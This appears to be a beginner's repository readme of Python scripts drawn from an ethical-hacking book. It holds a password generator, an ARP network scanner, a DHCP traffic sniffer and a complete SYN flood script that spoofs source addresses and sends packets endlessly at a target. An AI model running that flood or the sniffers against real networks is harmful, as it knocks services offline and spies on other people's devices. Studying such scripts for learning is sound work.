Few simple python scripts. Repository for code that is too simple and too common on repositories like github and gitlab. Written based on projects from book Tony Snake - Practical Ethical Hacking with Python in the process of learning basics of python.

p4SSg3n v1.0 Password Generator

                               from argparse import ArgumentParser
                               import secrets
                               import random
                               import string
                               
                               #ASCII banner
                               def display_banner():
                                   banner_text = '''
                               ==================================================================================
                               |                                                                                |
                               |                 d8888   .d8888b.   .d8888b.            .d8888b.                |
                               |                d8P888  d88P  Y88b d88P  Y88b          d88P  Y88b               |
                               |               d8P 888  Y88b.      Y88b.                    .d88P               |
                               |    88888b.   d8P  888   "Y888b.    "Y888b.    .d88b.      8888"  88888b.       |
                               |    888 "88b d88   888      "Y88b.     "Y88b. d88P"88b      "Y8b. 888 "88b      |
                               |    888  888 8888888888       "888       "888 888  888 888    888 888  888      |
                               |    888 d88P       888  Y88b  d88P Y88b  d88P Y88b 888 Y88b  d88P 888  888      |
                               |    88888P"        888   "Y8888P"   "Y8888P"   "Y88888  "Y8888P"  888  888      |
                               |    888                                            888                          |
                               |    888                                       Y8b d88P                          |
                               |    888                                        "Y88P"                           |
                               |                                                                                |
                               |    p4SSg3n v1.0 Password Generator                                             |
                               |    made by: masa                                                               |
                               |    cybersec.192168444.xyz                                                               |
                               |    based on project from Practical Ethical Hacking with Python by Tony Snake   |
                               |                                                                                |
                               ================================================================================== 
                               
                                   '''
                                   print(banner_text)
                                   
                               
                               #Setting up the Argument Parser
                               parser = ArgumentParser(
                                   prog='p4SSg3n',
                                   description=display_banner()
                               )
                               
                               #Adding the arguments to the parser
                               parser.add_argument("-n", "--numbers", default=4, help="Number of digits in the password", type=int)
                               parser.add_argument("-l", "--lowercase", default=4, help="Number of lowercase characters in the password", type=int)
                               parser.add_argument("-u", "--uppercase", default=4, help="Number of uppercase characters in the password", type=int)
                               parser.add_argument("-s", "--special-chars", default=0, help="Number of special characters in the password", type=int)
                               parser.add_argument("-t", "--total-length", default=0, help="The total password length. If passed, it will ignore -n, -l, -u, -s,"\
                               "and generate completely random passwords with the specified length", type=int)
                               parser.add_argument("-a", "--amount", default=1, help="Number of passwords to generate", type=int)
                               parser.add_argument("-o", "--output-file")
                               
                               #Parsing the command line arguments
                               args = parser.parse_args()
                               
                               
                               #List of passwords
                               passwords = []
                               #Looping through the amount of passwords
                               for _ in range(args.amount):
                                   if args.total_length:
                                       #generate random password with the length of total_length based on all available characters
                                       passwords.append("".join(
                                           [secrets.choice(string.digits + string.ascii_letters + string.punctuation)
                                           for _ in range(args.total_length)]))
                                   else:
                                       password = []
                               
                                       #If / how many numbers the password should contain      
                                       for _ in range(args.numbers):
                                           password.append(secrets.choice(string.digits))
                                           
                                       #If / how many uppercase characters the password should contain      
                                       for _ in range(args.uppercase):
                                           password.append(secrets.choice(string.ascii_uppercase))
                               
                                       #If / how many lowercase characters the password should contain      
                                       for _ in range(args.lowercase):
                                           password.append(secrets.choice(string.ascii_lowercase))
                               
                                       #If / how many special characters the password should contain      
                                       for _ in range(args.special_chars):
                                           password.append(secrets.choice(string.punctuation))
                               
                               
                                       #Shuffle the list with all the possible letters, numbers and symbols.
                                       random.shuffle(password)
                               
                                       #Get the letters of the string up to the length argument and then join them
                                       password = ''.join(password)
                               
                                       #Append this password to the overall list of passwords
                                       passwords.append(password)
                               
                               #Storing passwords to a .txt file
                               if args.output_file:
                                   with open(args.output_file, 'w') as f:
                                       f.write('\n'.join(passwords))
                               
                               
                               
                               
                               print('\n'.join(passwords))
                               
                   
                       

SYN flood

                           from scapy.all import *
   
                           target_ip = "192.168.1.1"
                           target_port = 80
                           
                           ip = IP(dst=target_ip)
                           #ip spoofing
                           ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
                           tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
                           #payload size
                           raw = Raw(b"X"*1024)
                           
                           p = ip / tcp / raw 
                           send(p, loop=1, verbose=0)
                           
                               
                   
                       

network scanner based on ARP packets

                           from scapy.all import ARP, Ether, srp
                           #targets ip address
                           target_ip = "192.168.1.1/24"
                           #creation of ARP packet
                           arp=ARP(pdst=target_ip)
                           #creation of Ether broadcast packet
                           ether = Ether(dst="ff:ff:ff:ff:ff:ff")
                           #stacking packets
                           packet = ether/arp
                           #sending of packet
                           result = srp(packet, timeout=3)[0]
                           #empty list that will be filled
                           clients= []
                           
                           for sent, received in result:
                               clients.append({'ip':received.psrc, 'mac':received.hwsrc})
                           
                           print("Available devices in the network:")
                           print("IP"+""*18+"MAC")
                           for client in clients:
                               print("{:16} {}".format(client['ip'], client['mac']))
                           
                               
                   
                       

DHCP Listener

                           from scapy.all import *
                           import time
                           
                           def listen_dhcp():
                               #filtering packets
                               sniff(prn=print_packet, filter='udp and (port 67 or port 68)')
                           
                           def print_packet(packet):
                               #variables zero'ing
                               target_mac, requested_ip, hostname, vendor_id = [None] * 4
                               #get the MAC address of the requester
                               if packet.haslayer(Ether):
                                   target_mac = packet.getlayer(Ether).src
                               #get the DHCP options
                               dhcp_options = packet[DHCP].options
                               for item in dhcp_options:
                                   try:
                                       label, value = item
                                   except ValueError:
                                       continue
                                   if label == 'requested_addr':
                                       #get the requested IP
                                       requested_ip = value
                                   elif label == 'hostname':
                                       #get the hostname of the device
                                       hostname = value.decode()
                                   elif label == 'vendor_class_id':
                                       #get the vendor ID
                                       vendor_id = value.decode()
                               if target_mac and vendor_id and hostname and requested_ip:
                                   #if all variables are not None, print the device details
                                   time_now = time.strftime("%Y-%m-%d-%H:%M:%S")
                                   print(f"{time_now} : {target_mac} - {hostname} / {vendor_id} requested {requested_ip}")
                           
                           if __name__ == "__main__":
                               listen_dhcp()